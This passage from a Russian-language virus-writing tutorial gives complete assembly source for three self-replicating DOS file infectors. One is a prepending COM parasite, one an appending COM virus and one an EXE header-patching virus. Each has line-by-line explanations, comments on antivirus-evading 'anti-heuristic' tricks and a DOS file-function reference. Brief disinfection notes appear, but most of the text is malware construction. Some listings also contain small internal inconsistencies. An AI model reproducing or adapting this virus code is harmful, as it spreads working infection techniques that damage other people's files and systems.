- после этого при помощи процедуры infect() найденный файл копируется в *.tmp двойник, а в сам файл копируется вирус, после этого в файл дописывается содержание *.tmp файла;
- затем файл-двойник удаляется.
Теперь рассмотрим, как все эти процедуры работают, связанные вместе главным алгоритмом:
- сначала определяется длина вируса («virlen:=6000;» — из этого видно, что длина вируса 6000 байт)6;
- затем производится поиск всех файлов процедурой find();
- далее идет цикл для работы со всеми файлами;
- если файлов не найдено, то идем на выход;
- работаем с текущим (i-м) файлом, создаем его двойник, как и в случае с вирусом-компаньоном, но только теперь это двойник *.com файла с расширением *.tmp (но пока файл не создается, а только готовится имя);
- читаем один символ из найденного файла. Если это «M», то либо мы этот *.com файл уже заразили, либо это *.ехе, переименованный в *.com, и еще одна проверка по длине, чтобы размер файла был не больше одного сегмента;
- в конце идет проверка: если размер файла, из которого мы запущены, больше размера вируса, то мы стартовали из зараженной программы и запускаем процедуру restore;
- и в конце концов выводим традиционное приветствие и завершаем программу.
Далее будет представлен аналог данного вируса на Ассемблере, но, как и приведенные выше вирусы, он не будет действовать по абсолютно идентичному алгоритму. Алгоритм его работы следующий.
- Проверим, стартуем ли мы из оригинального вируса или из зараженной программы.
- Если из зараженной программы, то скопируем программу, находящуюся после вируса, в файл 31337.com и запустим его. После завершения работы удалим его.
- Найдем *.com файл в текущей директории и считаем его в буфер. Если он не заражен или если его длина + длина вируса < 64000, то считаем его в буфер и в этот файл (носитель) запишем тело вируса + тело программы.
- Найдем следующий файл и заразим его.
- Если файлов больше нет, выведем сообщение и уйдем.
Следует рассмотреть, как выглядит файл до инфицирования и после:
- до инфицирования:
- после инфицирования:
Вот листинг:
;----------------------------------------------
cseg segment
assume cs:cseg,es:cseg
org 100h
start:
infect:
;----------------------------------------------
mov ax,3d02h ; Попытаемся открыть файл для восстановления программы
lea dx,dta+30 ; Описание этого файла должно находиться в вирусе, если он
int 21h ; запущен из инфицированной программы; его не будет, если
; он стартует из файла, где только тело вируса
jc nrest ; Если в файле только тело вируса, то не восстанавливаем
;----------------------------------------------
next1:
xchg ах,bx ; Хэндл файла положим в bx
mov ax,4200h ; Перейдем на конец тела вируса
xor cx, cx
mov dx,len
int 21h
mov ah,3fh
mov cx,offset dta+26-len
lea dx,buff ; Прочитаем в буфер оригинальный файл
int 21h
mov ah,3eh ; Закроем файл (т. е. себя)
int 21h
mov ah,3ch ; Создадим файл с именем 31337.com
lea dx,name2
xor cx, cx
int 21h
mov ah,40h
int 1h ; Антиэвристика: антивирусы теперь нам не страшны
mov cx,offset dta+26-len
lea dx,buff ; Запишем из буфера оригинальную программу в этот файл
int 21h ; 31337.com
mov ah,3eh ; Закроем файл
int 21h
mov ah,4ah ; Выделим память
mov bx,5000h ; для запуска этого файла
int 21h
mov ax,4b00h ; Запустим его (31337.com)
lea dx,name2 ;
int 21h
mov ah,41h ; После того, как он отработает.
lea dx,name2 ; Удалим его
xor cx,cx
int 21h
;----------------------------------------------
nrest:
mov ah,1ah ; Установим DTA
lea dx,dta ;
int 21h
mov ah,4eh ; Найдем функцией findfirst
lea ax,mask1 ; *.com файл
xor cx,cx
int 21h
fnext:
;----------------------------------------------
mov ax,3d02h ; Откроем его на чтение/запись
lea dx,dta+30 ;
int 21h
xchg ax,bx ; Хэндл положим в bx
mov ah,3fh ; Прочитаем первый байт
lea dx,m1 ; Из файла
mov cx,1
int 21h
cmp m1,08bh ; Если этот байт равен 8bh, то этот файл заражен. Перейдем
je fn ; к следующему
cmp m1,'M' ;
je fn ; Если это *.ехе, переименованный в *.com
cmp m1,'Z' ; то не заражаем
je fn ;
mov ax,4202h ; Если попали сюда, начинаем заражать
xor cx,cx ; Перейдем в конец файла
cwd
int 21h
push ax ; В ax сейчас длина файла, положим ее в стек дважды
push ax ; дважды
add ax,len ; Если длина вируса + длина файла <= 64000 байт, то
cmp ax,64000 ; если нет, то перейдем к следующему файлу
jle fn ;
mov ah,3eh ; Закроем найденный файл
int 21h
mov ax,3d02h ; Откроем его же на чтение/запись
lea dx,dta+30
int 21h
mov ah,3fh ; Прочитаем весь файл в буфер
lea dx,buff
pop cx
int 21h
mov ax,4200h ; Перейдем на начало файла
xor cx,cx
cwd
int 21h
;----------------------------------------------
mov ah,40h ; Будем записывать
int 1h ; Антиэвристика
mov dx,100h ; Запишем в найденный файл тело вируса + буфер
pop cx ; Получится, что в файле идет сначала вирус, затем
add cx,len ; оригинальная программа
int 21h ;
mov ah,3eh ; Закроем файл
int 21h
fn: mov ah,4fh ; Найдем новый файл функцией findnext
int 21h
jnc fnext ; Если есть еще файлы, то заразим их
mov ah,09h ; Что, файлов больше нет?
lea dx,msg ; Тогда представимся
int 21h ;
ret ; И уйдем
m1 db ?
name2 db '31337.com',0
mask1 db '*.com',0 ; Это все данные
msg db 0ah,0dh, '[SiMpL3 P4R4SiTiC ViRUS] by slOn','$'
dta db 43 dup(?)
len equ $-start
buff db 64000 dup(?)
cseg ends
end start
;----------------------------------------------
Перейдем к более подробному анализу данного вируса.
Вот первый блок:
mov ax,3d02h ; Попытаемся открыть файл для восстановления программы
lea dx,dta+30 ; Описание этого файла должно находиться в вирусе, если он
int 21h ; запущен из инфицированной программы; его не будет, если
; он стартует из файла, где только тело вируса
jc nrest ; Если в файле только тело вируса, то не восстанавливаем
Из комментариев все ясно, но необходимо заметить, что этот блок проверяет, стартуем ли мы из инфицированной программы или наша программа — это чистый вирус7 (путем открытия файла).
Второй блок:
xchg ах,bx ; Хэндл файла положим в bx
mov ax,4200h ; Перейдем на конец тела вируса
xor cx, cx
mov dx,len
int 21h
mov ah,3fh
mov cx,offset dta+26-len
lea dx,buff ; Прочитаем в буфер оригинальный файл
int 21h
mov ah,3eh ; Закроем файл (т. е. себя)
int 21h
mov ah,3ch ; Создадим файл с именем 31337.com
lea dx,name2
xor cx, cx
int 21h
mov ah,40h
int 1h ; Антиэвристика: антивирусы теперь нам не страшны
mov cx,offset dta+26-len
lea dx,buff ; Запишем из буфера оригинальную программу в этот файл
int 21h ; 31337.com
mov ah,3eh ; Закроем файл
int 21h
mov ah,4ah ; Выделим память
mov bx,5000h ; для запуска этого файла
int 21h
mov ax,4b00h ; Запустим его (31337.com)
lea dx,name2 ;
int 21h
mov ah,41h ; После того, как он отработает.
lea dx,name2 ; Удалим его
xor cx,cx
int 21h
В данном блоке сначала идет переход на конец тела вируса, т. е. туда, где начинается оригинальная программа. Затем оригинальная программа читается в буфер и файл, из которого мы стартовали, закрывается. Затем создается файл с именем «31337.com». Туда же переписывается оригинальная программа. Файл закрывается и после этого запускается, а по завершении работы удаляется.
Будем рассматривать только незнакомые нам моменты.
Первый — это переход на конец тела вируса:
mov ax,4200h ; Перейдем на конец тела вируса
xor cx, cx
mov dx,len
int 21h
В контексте программы данные инструкции устанавливают указатель в файле от начала вируса вперед — на его длину.
Второй момент — это удаление файла:
mov ah,41h ; После того, как он отработает.
lea dx,name2 ; Удалим его
xor cx,cx
int 21h
Стоить отметить, что в регистр dx помещается имя удаляемого файла в формате asciiz, т. е. строка символов, заканчивающаяся нулевым байтом.
Второй блок:
nrest:
mov ah,1ah ; Установим DTA
lea dx,dta ;
int 21h
mov ah,4eh ; Найдем функцией findfirst
lea ax,mask1 ; *.com файл
xor cx,cx
int 21h
fnext:
;----------------------------------------------
mov ax,3d02h ; Откроем его на чтение/запись
lea dx,dta+30 ;
int 21h
xchg ax,bx ; Хэндл положим в bx
mov ah,3fh ; Прочитаем первый байт
lea dx,m1 ; Из файла
mov cx,1
int 21h
cmp m1,'e' ; Если этот байт равен 8bh, то этот файл заражен. Перейдем
je fn ; к следующему
cmp m1,'M' ;
je fn ; Если это *.ехе, переименованный в *.com
cmp m1,'Z' ; то не заражаем
je fn ;
В данном блоке сначала устанавливаем DTA, затем ищем файл по маске, открываем его на чтение/запись и читаем из него первый байт. Это для того, чтобы проверить, пытаемся ли мы заразить уже инфицированный файл или мы не заражали *.exe.
Проверка на *.ехе довольно тривиальна: каждый файл данного формата начинается с «MZ». Вот мы и проверяем, чтобы первая буква была не «М».
Теперь третий блок:
mov ax,4202h ; Если попали сюда, начинаем заражать
xor cx,cx ; Перейдем в конец файла
cwd
int 21h
push ax ; В ax сейчас длина файла, положим ее в стек дважды
push ax ; дважды
add ax,len ; Если длина вируса + длина файла <= 64000 байт, то
cmp ax,64000 ; если нет, то перейдем к следующему файлу
jle fn ;
mov ah,3eh ; Закроем найденный файл
int 21h
mov ax,3d02h ; Откроем его же на чтение/запись
lea dx,dta+30
int 21h
mov ah,3fh ; Прочитаем весь файл в буфер
lea dx,buff
pop cx
int 21h
mov ax,4200h ; Перейдем на начало файла
xor cx,cx
cwd
int 21h
Сначала идет переход на конец файла. Это делается для получения размера файла. В итоге он будет в регистре ах. Два раза длина ложится в стек, затем идет проверка на то, чтобы файл после заражения не стал длиннее одного сегмента (65535 байт). После этого файл закрывается. Затем открываем его на чтение, считываем в буфер и переходим в конец файла.
Четвертый (последний) блок:
mov ah,40h ; Будем записывать
int 1h ; Антиэвристика
mov dx,100h ; Запишем в найденный файл тело вируса + буфер
pop cx ; Получится, что в файле идет сначала вирус, затем
add cx,len ; оригинальная программа
int 21h ;
mov ah,3eh ; Закроем файл
int 21h
fn: mov ah,4fh ; Найдем новый файл функцией findnext
int 21h
jnc fnext ; Если есть еще файлы, то заразим их
mov ah,09h ; Что, файлов больше нет?
lea dx,msg ; Тогда представимся
int 21h ;
ret ; И уйдем
В этом блоке в найденный файл переписывается тело вируса + буфер (в который мы прочитали этот файл). Затем файл закрывается, и идет поиск следующего. Если файлов нет, то выводим сообщение и завершаем исполнение программы.
Для лечения данного вируса прежде всего необходимо определить местонахождение заголовка оригинальной программы. После этого всего лишь следует удалить тело вируса, которое расположено до заголовка оригинальной программы. Заголовок можно определить, если проанализировать зараженную программу.
Выше был рассмотрен простейший вариант вирусов-паразитов. Далее будут рассмотрены самые распространенные способы размножения вирусов. Но прежде чем продолжим, мы должны разобраться с необходимыми функциями DOS.
Рассмотрим следующую таблицу:
Установить адрес DTA
вход:
ah = 1Ah
ds:dx = адрес
выход:
нет
Получить адрес DTA
вход:
ah = 2Fh
выход:
es:bx = текущий адрес
Create — Создать файл
вход:
ah = 3Ch
cx = атрибуты файла (таб 1)
ds:dx = путь и имя файла в формате asciz
выход:
if CF=0 then
ax = дескриптор файла
else
ax = код ошибки (3,4,5) (таб 2)
Open — Открыть существующий файл
вход:
ah = 3Dh
al = режим доступа (таб 2)
сх = атрибуты
ds:dx = имя
выход:
if CF=0 then
ах = дескриптор файла
else
ах = код ошибки (1,2,3,4,5,0C)
Close — Закрыть файл
вход:
ah = 3Eh
bx = дескриптор
ds:dx = имя
выход:
if CF=0 then
ax =
else
ax = код ошибки (6)
Read — Чтение из файла
вход:
ah = 3Fh
bx = дескриптор
cx = число байт
ds:dx = буфер для чтения
выход:
if CF=0 then
ах = число прочитанных байт
Это значение может быть меньше CX,
например, потому, что длина файла превышена.
else
ах = код ошибки (5,6)
Write — Записать в файл
вход:
ah = 40h
bx = дескриптор
cx = число байт
ds:dx = данные для записи
выход:
if CF=0 then
ах = число записанных байт
else
ах = код ошибки (5,6)
Unlink — Удалить файл
вход:
ah = 41h
cx = атрибуты
ds:dx = имя
выход:
if CF=0 then
ax =
else
ax = код ошибки (2,3,5)
LSeek — Установить указатель в файле
вход:
ah = 42h
al = точка отсчета указателя:
0 - от начала файла
1 - от текущего положения
2 - от конца
bx = дескриптор
cx:dx = смещение (сх=старшие 16 бит, dx=млaдшиe)
выход:
if CF=0 then
dх:ах = новое положение указателя относительно начала
else
ах = код ошибки (1,6)
Получить атрибуты файла
вход:
ах = 4300h
ds:dx = имя
выход:
if CF=0 then
cx = атрибуты
else
ax = код ошибки (1,2,3,5)
Chmod — Установить атрибуты файла
вход:
ах = 4301h
сх = новые атрибуты
ds:dx = имя
выход:
if CF=0 then
ах =
else
ах = код ошибки (1,2,3,5)
Выделить блок памяти
вход:
ah = 48h
bx = размер блока в параграфах
выход:
if CF=0 then
ax = сегмент блока
else
ах = код ошибки (7,8)
bx = размер наибольшего доступного блока
Освободить память
вход:
ah = 49h
es = сегмент блока
выход:
if CF=0 then
ах =
else
ах = код ошибки (7,9)
Изменить размер блока памяти
вход:
ah = 4Ah
bx = новый размер
es = сегмент
выход:
if CF=0 then
ах =
else
ax = код ошибки (7,8,9)
bx = размер наибольшего доступного блока
Exec — загрузить или выполнить программу
вход:
ah = 4Bh
al = тип загрузки:
0 - загрузить и выполнить
1 - загрузить и не выполнять
3 - загрузить оверлей
4 - загрузить и выполнить в фоновом режиме (dos 4.0)
es:bx = блок параметров (таб. 3)
ds:dx = имя программы
выход:
if CF=0 then
bx,dx разрушены
else
ax = код ошибки (1,2,5,8,OA,OB)
FindFirst — найти первый файл
вход:
ah = 4Eh
cx = маска атрибутов
ds:dx = маска имени (может содержать путь, * и ?)
выход:
if CF=0 then
[DTA] - найденный файл (табл. 4)
else
ах = код ошибки (2,3,12h)
FindNext — найти следующий файл
вход:
ah = 4Fh
[DTA] = структура от предыдущего вызова (не изменять!)
выход:
if CF=0 then
[DTA] - следующий файл
else
ах = код ошибки (12п)
Получить дату и время файла
вход:
ах = 5700h
bx = дескриптор файла
выход:
if CF=0 then
cx = время (как в табл. 4)
dx = дата
else
ах = код ошибки (1,6)
Установить дату и время файла
вход:
ах = 5701h
bx = дескриптор файла
сх = время (как в табл. 4)
dx = дата
выход:
if CF=0 then
else
ax = код ошибки (1,6)
Таблица 1. Атрибуты файлов
| Бит | Значение |
| 0 | ReadOnly |
| 1 | Hidden |
| 2 | System |
| 3 | VolumeLabel |
| 4 | Directory |
| 5 | Archive |
| 6 | not used |
| 7 | not used |
| 8 | Shared (only Netware) |
Таблица 2. Коды ошибок
| 1 | Неверный номер функции |
| 2 | Файл не найден |
| 3 | Путь не найден |
| 4 | Слишком много открытых файлов |
| 5 | Доступ запрещен |
| 6 | Недопустимый дескриптор |
| 7 | Разрушен блок управления памятью |
| 8 | Недостаточно памяти |
| 9 | Недопустимый адрес блока памяти |
| А | Ошибка окружения |
| В | Недопустимый формат |
| 11 | Не то же устройство |
| 12 | Больше нет файлов |
Таблица 3. Блок параметров Exec
| Offset | Size |
| 00 | word. Сегмент окружения, копируемый для дочернего процесса. Если 0, то сегмент вызывающей программы |
| 02 | dword. Указатель на командную строку к программе. Первый байт командной строки — ее длина |
| 06 | dword. Указатель на первый FCB |
| 0A | dword. Указатель на второй FCB |
| 0Е | dword. (для al=1) будет содержать начальный ss:sp программы |
| 12 | dword. (для al=1) будет содержать точку входа cs:ip |
Таблица 4. Структура DTA для поиска файлов
| Offset | Size |
| 00 | 15h. Зарезервиировано |
| 15h | byte. Атрибуты файла |
| 16h | word. Времы файла. Биты: 11—15 — час; 5—10 — минута; 0—4 — секунды/2 |
| 18h | word. Дата файла. Биты: 9—15 — год — 1980; 5—8 — месяц; 0—4 — день |
| 1Ah | dword. Размер файла |
| 1Eh | 0Dh. Имя + расширение в формате asciiz |
Теперь можно переходить к более сложным вирусам...
3.1. Простейшие *.COM вирусы
В дальнейшем повествование будет сопровождаться исходными текстами на языке Ассемблера, так как реализация аналогичных вирусов на языке Паскаль очень трудоемка.
Самым распространенным методом размножения *.com вирусов является запоминание первых нескольких байт программы и замена их на переход на вирусное тело. После этого вирус восстанавливает оригинальные байты и выполняет свои функции (размножение...), и в конце концов он восстанавливает оригинальные байты и передает на них управление.
Программа с этого момента выполняется так, как и должна была. Но весь секрет в том, что эти байты после восстановления не сохраняются, это не запись в файл это восстановление «на лету» — в памяти. Поэтому при последующем запуске программы управление первым получает опять вирус, ну и т. д.
Следует рассмотреть, как выглядит файл до инфицирования и после:
- до инфицирования:
- после инфицирования:
Рассмотрим листинг:
.model tiny
.code
org 100h
start: db 0e9h,00h,00h ; Переход на начало вируса (st_vir)
st_vir: call $+3
f_offset: pop bp
int 1h ; Антиэвристика
sub bp, OFFSET f_offset ; Считаем смещение,
; с которого начинается вирусный
; код
lea si,[bp+orig_bytes] ; Восстанавливаем оригинальные 3 байта
mov di,100h ; Положим в стэк переход на
push di ; начало, программы
movsw
movsb
lea dx,[bp+new_dta] ; Установим DTA
mov ah,1ah
int 21h
mov ah,09h ; Выведем сообщение
lea dx,[bp+msg]
int 21h
mov ah,4eh ; DOS-функция findfirst
lea dx,[bp+file_m] ; Ищем *.com файл (любой)
xor cx,cx ;
f_next: int 21h ;
jc exit ; если ошибка или файлы кончились,
; то на выход
mov ax,3d00h ; Откроем найденный файл на чтение
lea dx,[bp+new_dta+30] ;
int 21h ;
xchg ax,bx ; положим хэндл в bx
mov ah,3fh ; Прочитаем из файла
lea dx,[bp+orig_bytes] ; оригинальный заголовок,
mov cx,3 ; а если быть более точным, то 3 байта
int 21h ;
cmp word ptr[bp+orig_bytes],'MZ' ; Если это *.ехе переименованный
je close ; в *.com, то переходим к следующему
cmp word ptr[bp+orig_bytes],'ZM' ; файлу
je close ;
mov ах,word ptr [bp+new_dta+26] ; Положим размер файла в ах
mov cx,word ptr [bp+orig_bytes+1] ;
add cx,end_vir-st_vir+3 ; Добавим размер вируса
cmp ax,cx ; Если длины совпадают, то файл
jnz infect ; заражен, если нет - сейчас заразим
close: mov ah,3eh ; Закрываем файл
int 21h ;
mov ah,4fh ; и ищем новый
jmp short f_next ;
exit: mov dx,80h ; Восстанавливаем старый DTA
mov ah,1ah
int 21h
retn ; Переходим на начало программы
; 100h было ведь в стэке
mov ax,word ptr [bp+new_dta+26] ; Положим размер файла в ах
sub ax,3 ; отнимем 3 и получим смещение для
mov word ptr [bp+jmp_offset],ax ; перехода на тело вируса
mov ah,3eh ;
int 21h ; Закроем файл
mov ax,3d02h ; Откроем на чтение/запись
int 21h ;
xchg ax,bx ; Положим хэндл в bx
mov ah,40h ; Запишем в файл
int 1h ; Антиэвристика
mov cx,3 ; 3 байта
lea dx,[bp+header] ; это переход на тело вируса, которое
int 21h ; будет дописано к файлу
; Перейдем на конец файла
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ; Допишем тело вируса
int 1h ; Антиэвристика
mov cx,end_vir-st_vir ;
lea dx,[bp+st_vir] ;
int 21h ;
mov ah,3eh ; Закроем файл
int 21h ;
jmp exit ; и передадим управление оригинальной
; программе
; Сообщение
msg db "[Par4s1tic ChuM4 v 1.0 by sl0n]",0ah,0dh,"$"
file_m db '*.com',0 ; маска файла для поиска
orig_bytes db 0cdh,20h,0 ; байты оригинального заголовка
header db 0e9h ; переход на вирус
end_vir equ $ ; символ конца вируса
jmp_offset dw ? ; переменная для смещения на вирус
new_dta db 43 dup(?) ; массив для DTA
end start
;----------------------------------------------
Данный вирус достаточно прост и хорошо комментирован, так что мы рассмотрим только важные моменты.
- Дельта-смещение нужно для того, чтобы мы могли обращаться к своим данным в чужой программе:
st_vir: call $+3
f_offset: pop bp
int 1h ; Антиэвристика
sub bp, OFFSET f_offset ; Считаем смещение,
; с которого начинается вирусный
; код
После этого мы можем обращаться к данным следующим образом: [bp+data].
- Проверка на инфицированность (чтобы повторно не заражать):
mov ах,word ptr [bp+new_dta+26] ; Положим размер файла в ах
mov cx,word ptr [bp+orig_bytes+1] ;
add cx,end_vir-st_vir+3 ; Добавим размер вируса
cmp ax,cx ; Если длины совпадают, то файл
jnz infect ; заражен, если нет - сейчас заразим
В первой строчке в регистр ax ложится размер найденного файла, который хранится в new_dta по смещению 26.
В orig_bytes в зараженной программе должно быть что-то вроде 0e9h хх хх.
Во второй строке 2 и 3 байты из заголовка кладутся в cx.
Первый байт означает инструкцию jmp, а остальные два — смещение, куда переходить. Так как этот вирус дописывается к концу, то хх хх будут указывать на конец файла (т. е. это размер незараженного файла).
В третьей строчке к размеру оригинального файла добавляется размер вируса плюс сохраненные 3 байта заголовка оригинального файла.
Из этих вычислений становится ясно, что если файл инфицирован, то ax и cx совпадут. Именно из этих соображений в начале вируса присутствуют такие строки:
db 0e9h,00h,00h ; Переход на начало вируса (st_vir)
Они необходимы, чтобы вирус сам себя не заражал.
- Теперь взглянем, как вычисляется переход на тело вируса:
mov ax,word ptr [bp+new_dta+26] ; Положим размер файла в ах
sub ax,3 ; отнимем 3 и получим смещение для
mov word ptr [bp+jmp_offset],ax ; перехода на тело вируса
Здесь же приходится отнимать 3 байта из-за размера самого jmp хх хх, который при расчете учитываться не должен.
- В начале для восстановления первых трех байт используются цепочечные команды, выделенные восклицательными знаками:
lea si,[bp+orig_bytes] ; Восстанавливаем оригинальные 3 байта
mov di,100h ; Положим в стэк переход на
push di ; начало, программы
movsw ; !!!
movsb ; !!!
Ну вот, с этим вирусом разобрались.
Для лечения данного вида вирусов уже используется более сложный алгоритм, рассмотрим его:
- обнаружить зараженную программу;
- определить, в каком месте данный вирус хранит оригинальные байты программы;
- заменить вирусные байты в начале программы оригинальными;
- удалить хвост вируса в конце программы (этого в принципе уже можно и делать).
3.2. Простейшие *.ЕХЕ вирусы
Самый распространенный способ заражения .exe файлов: мы дописываем ему в конец тело своего вируса и корректируем заголовок (сохранив прежде его оригинальную версию) так, чтобы при запуске управление получал вирус (совсем как в *.com, но вместо перехода в коде мы корректируем сам адрес точки запуска программы).
При старте зараженного файла управление получит вирус. После всех операций вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученного при старте вируса) и передает управление на полученный адрес.
Рассмотрим структуру ЕХЕ заголовка:
| Метка ЕХЕ файла (ZM или MZ) | +0000h | Размер 1 WORD |
| Длина последнего блока* | +0002h | Размер 1 WORD |
| Длина файла в блоках по 512 байт* | +0004h | Размер 1 WORD |
| Количество элементов таблицы настройки адресов | +0006h | Размер 1 WORD |
| Размер заголовка в параграфах | +0008h | Размер 1 WORD |
| Минимальный объем памяти | +000Ah | Размер 1 WORD |
| Максимальный объем памяти | +000Ch | Размер 1 WORD |
| Начальный SS* | +000Eh | Размер 1 WORD |
| Начальный SP* | +0010h | Размер 1 WORD |
| Контрольная сумма | +0012h | Размер 1 WORD |
| Начальный IP* | +0014h | Размер 1 WORD |
| Начальный CS* | +0016h | Размер 1 WORD |
| Адрес первого элемента ТНА | +0018h | Размер 1 WORD |
| Номер сегмента перекрытия | +001Ah | Размер 1 WORD |
| Зарезервировано / Не используется | +001Ch | Размер 1 DWORD? |
| | Общий размер : ПЕРЕМЕННЫЙ! |
Переходим к простейшему *.exe вирусу.
Следует рассмотреть как выглядит файл до инфицирования и после:
- до инфицирования:
- после инфицирования:
Рассмотрим листинг:
.model tiny ; Модель памяти
.code ; Сегмент кода
org 100h ; начинаем работу со 100h
id = 'NF' ; метка, по которой определяется
; инфицирован ли файл
startvirus: ; начало вирусного кода
call next ; пересчитаем смещение
next: pop bp ;
int 1h ; антиэвристика
sub bp,offset next ;
cmp sp,id ; если файл не инфицирован, то
jne restore_done ; и восстанавливать не надо.
restore_exe:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave]
lea di,[bp+jmpsave2]
movsw
movsw
movsw
movsw
restore_done:
mov ah,1Ah ; Установим новый DTA
lea dx,[bp+newDTA] ; DTA @ DS:DX
int 21h
SEARCH:
lea dx,[bp+EXE_MASK] ; Установим в регистр dx маску *.exe
call FINDFIRST ; Вызовем процедуру поиска
QUIT:
mov ah,1ah ;
mov dx,80h ; Восстановим оригинальный DTA
cmp sp,ID-4 ; Если *.ехе файл
jz QUIT_EXE ; то выход из *.ехе файла
QUIT_COM:
int 21h ; Иначе выходим из *.com файла
retn
quit_exe:
pop es
pop ds ; DS->PSP
int 21h
mov ax,es ; АХ = PSP сегмент
add ax,16 ; для восстановления PSP
add word ptr cs:[bp+jmpsave2+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Запретим прерывания
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; опкод команды jmp
jmpsave2 dd ? ; оригинальный CS:IP
stacksave dd ? ; Оригинальный SS:SP
jmpsave dd ? ; Необходим для файла-носителя
stacksave2 dd ?
creator db '[sl0n]'
end_search:
retn
;----------------------------------------------
findfirst:
mov ah,4eh ; DOS функция Findfirst
xor cx,cx ; любой атрибут
findfirstnext
int 21h ; DS:DX указывает на маску
jc end_search ; если больше файлов нет, то на выход
call open ; Открываем на чтение
mov ah,3fh ; Прочитаем из файла в буфер
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 26 байт
int 21h
mov ah,3eh ; После чтения закрываем файл
int 21h
checkEXE:
cmp word ptr [bp+buffer+10h],id ; Если файл не заражен, то заражаем его
jnz infect_exe
find_next:
mov ah,4fh ; Иначе ищем новую жертву
jmp short findfirstnext
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Сохраним старую точку входа
mov word ptr [bp+jmpsave], ax
mov word ptr [bp+jmpsave+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Сохраним старый стэк
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer+8] ; Возьмем размер ехе заголовка
mov cl, 4 ; переведем его в байты
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26] ; Положим размер файла в DX:AX
mov dx, es
push ax
push dx
sub ax, bx ; Отнимем размер заголовка от
sbb dx, 0 ; размера файла
mov cx, 10h ; Переведем в форму
div cx ; сегмент:смещение
mov word ptr [bp+buffer+14h], dx ; Новая точка входа
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; И стэк
mov word ptr [bp+buffer+10h], id
pop dx ; Возьмем длину файла
pop ax
add ax, heap-startvirus ; И длину вирусного тела
adc dx, 0
mov cl, 9 ; 2**9 = 512
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax ; Размер файла в страницах
pop ax
and ah, 1 ; 512 байтных
mov word ptr [bp+buffer+4], dx ; Новый размер файла
mov word ptr [bp+buffer+2], ax
push cs ; Восстановим ES
pop es
mov cx, 1ah
finishinfection:
push cx ; сохраним в стэке 1ah
call open
mov ah,40h ; DOS функция записи в файл
int 1h ; Антиэвристика
lea dx,[bp+buffer] ; Пишем из буфера
pop cx ; сх байт (1Ah)
int 21h
mov ax,4202h ; Переставим указатель
xor cx,cx ; в конец файла
cwd ; xor dx,dx
int 21h
mov ah,40h ; Допишем тело вируса
int 1h ; Антиэвристика
lea dx,[bp+startvirus]
mov cx,heap-startvirus ; кол-во байт для записи (длина вируса)
int 21h
mov ah,3eh ; Закроем файл
int 21h
mo_infections:
jmp find_next
open:
mov ax,3d02h
lea dx,[bp+newDTA+30] ; Имя файла в DTA
int 21h
xchg ax,bx
ret
exe_mask db '*.exe',0
heap: ; Временные переменные
newDTA db 42 dup (?) ; Временный DTA
buffer db 1ah dup (?) ; Буфер для чтения
endneap: ; Конец вируса
end startvirus
Рассмотрим данный вирус более подробно.
Первый блок:
startvirus: ; начало вирусного кода
call next ; пересчитаем смещение
next: pop bp ;
int 1h ; антиэвристика
sub bp,offset next ;
cmp sp,id ; если файл не инфицирован, то
jne restore_done ; и восстанавливать не надо.
restore_exe:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave]
lea di,[bp+jmpsave2]
movsw
movsw
movsw
movsw
В начале этого блока мы получаем дельта-смещение, а потом, если мы были запущены из инфицированного файла, восстанавливаем заголовок.
Второй блок:
restore_done:
mov ah,1Ah ; Установим новый DTA
lea dx,[bp+newDTA] ; DTA @ DS:DX
int 21h
SEARCH:
lea dx,[bp+EXE_MASK] ; Установим в регистр dx маску *.exe
call FINDFIRST ; Вызовем процедуру поиска
QUIT:
mov ah,1ah ;
mov dx,80h ; Восстановим оригинальный DTA
cmp sp,ID-4 ; Если *.ехе файл
jz QUIT_EXE ; то выход из *.ехе файла
QUIT_COM:
int 21h ; Иначе выходим из *.com файла
retn
quit_exe:
pop es
pop ds ; DS->PSP
int 21h
mov ax,es ; АХ = PSP сегмент
add ax,16 ; для восстановления PSP
add word ptr cs:[bp+jmpsave2+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Запретим прерывания
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; опкод команды jmp
jmpsave2 dd ? ; оригинальный CS:IP
stacksave dd ? ; Оригинальный SS:SP
jmpsave dd ? ; Необходим для файла-носителя
stacksave2 dd ?
creator db '[sl0n]'
end_search:
retn
Вначале устанавливается новый DTA, потом идет поиск файла и его инфицирование. После инфицирования восстанавливается DTA, PSP и передается управление оригинальной программе.
Перейдем к третьему блоку:
;----------------------------------------------
findfirst:
mov ah,4eh ; DOS функция Findfirst
xor cx,cx ; любой атрибут
findfirstnext
int 21h ; DS:DX указывает на маску
jc end_search ; если больше файлов нет, то на выход
call open ; Открываем на чтение
mov ah,3fh ; Прочитаем из файла в буфер
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 26 байт
int 21h
mov ah,3eh ; После чтения закрываем файл
int 21h
checkEXE:
cmp word ptr [bp+buffer+10h],id ; Если файл не заражен, то заражаем его
jnz infect_exe
В данном блоке ищется файл, открывается и из него читается 26 байт. Файл закрывается, и затем файл проверяется на инфицированность, и если он не инфицирован, то идет переход на метку infect_exe.
Перейдем к четвертому блоку:
find_next:
mov ah,4fh ; Иначе ищем новую жертву
jmp short findfirstnext
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Сохраним старую точку входа
mov word ptr [bp+jmpsave], ax
mov word ptr [bp+jmpsave+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Сохраним старый стэк
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer+8] ; Возьмем размер ехе заголовка
mov cl, 4 ; переведем его в байты
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26] ; Положим размер файла в DX:AX
